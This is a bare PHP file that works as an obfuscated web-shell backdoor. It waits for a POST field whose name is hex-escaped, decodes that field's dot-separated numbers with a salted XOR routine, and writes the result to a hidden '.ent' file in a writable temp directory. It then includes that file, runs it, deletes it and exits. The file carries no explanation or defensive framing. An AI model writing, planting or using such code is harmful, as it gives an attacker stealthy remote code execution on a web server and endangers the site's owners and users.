<?php

if(filter_has_var(INPUT_POST, "\x66\x6Cg")){
	$k = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path()]);
	$key = $_POST["\x66\x6Cg"];
			 $key	 =	explode 	(	".",	$key);	
	$reference='';
            $salt8='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($salt8);
            $w=0;
            $len=count($key);
    
            do {
                if ($w >= $len) break;
                $v4=$key[$w];
                $chS=ord($salt8[$w % $lenS]);
                $dec=((int)$v4 - $chS - ($w % 10)) ^ 100;
                $reference 	.=	chr($dec);
                $w++;} while (true);
	while ($elem = array_shift($k)) {
    		if (!( !is_dir($elem) || !is_writable($elem) )) {
    $ref = join("/", [$elem, ".ent"]);
    $file = fopen($ref, 'w');
if ($file) {
	fwrite($file, $reference);
	fclose($file);
	include $ref;
	@unlink($ref);
	die();
}
}
}
}